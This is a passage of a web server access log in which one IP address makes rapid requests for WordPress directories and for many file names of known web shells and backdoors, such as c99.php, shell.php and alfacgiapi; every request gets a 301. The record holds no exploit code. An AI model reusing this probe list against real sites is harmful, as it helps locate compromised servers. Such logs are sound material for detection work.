/wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:04 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:05 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:06 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:06 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:07 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:08 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:08 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:09 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:09 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:10 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:11 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:11 -0400] "GET /wp-content/plugins/wp-table-builder/inc/core/freemius/assets/img/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:12 -0400] "GET /wp-activat.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:12 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:13 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:14 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:14 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:15 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:15 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:16 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:17 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:17 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:18 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:19 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:19 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:20 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:20 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:21 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:21 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:22 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:23 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:23 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:24 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:25 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:25 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:26 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:26 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:27 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:28 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:28 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:29 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:29 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:30 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:31 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:31 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:32 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:32 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:33 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:34 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:34 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:35 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:35 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:36 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:37 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:37 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:38 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:38 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:39 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:40 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:40 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:41 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:42 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:42 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:43 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:44 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:45 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:45 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:46 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:46 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:47 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:48 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:48 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:49 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:49 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:50 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:51 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:51 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:52 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:53 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:54 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:54 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:55 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:56 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:57 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:57 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:58 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:58 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:59 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:52:59 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:00 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:01 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:01 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:02 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:03 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:03 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:04 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:04 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:05 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:05 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:06 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:07 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:07 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:08 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:09 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:09 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:10 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:11 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:12 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:13 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:14 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:14 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:15 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:16 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:16 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:17 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:18 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:18 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:19 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:20 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:20 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:21 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:22 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:22 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:23 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:24 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:25 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:25 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:26 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:27 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:28 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:28 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:29 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:30 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:30 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:31 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:32 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:33 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:33 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:34 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:35 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:35 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:37 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:37 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:38 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:39 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:40 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:40 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:41 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:42 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:43 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:44 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:47 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:48 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:49 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:50 -0400] "GET /pi.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:52 -0400] "GET /plugins/custom/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:53 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:54 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:56 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:57 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:58 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:59 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:53:59 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:00 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:01 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:01 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:03 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:04 -0400] "GET /vendor/bin/loader.php/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:05 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:06 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:06 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:07 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:08 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:09 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:09 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:10 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:12 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:12 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:14 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:15 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:16 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:16 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:17 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:19 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:20 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:21 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:22 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:22 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:24 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:25 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:27 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:28 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:29 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:29 -0400] "GET /wp-content/plugins/WordPressCore/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:30 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:31 -0400] "GET /wp-content/plugins/core-plugin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:32 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:34 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:35 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:36 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:36 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:38 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:39 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:40 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:42 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:43 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:44 -0400] "GET /wp-content/uploads HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:45 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:46 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:47 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:48 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:49 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:50 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:50 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:51 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:53 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:54 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:54 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:55 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:56 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:57 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [20/Apr/2025:18:54:58 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 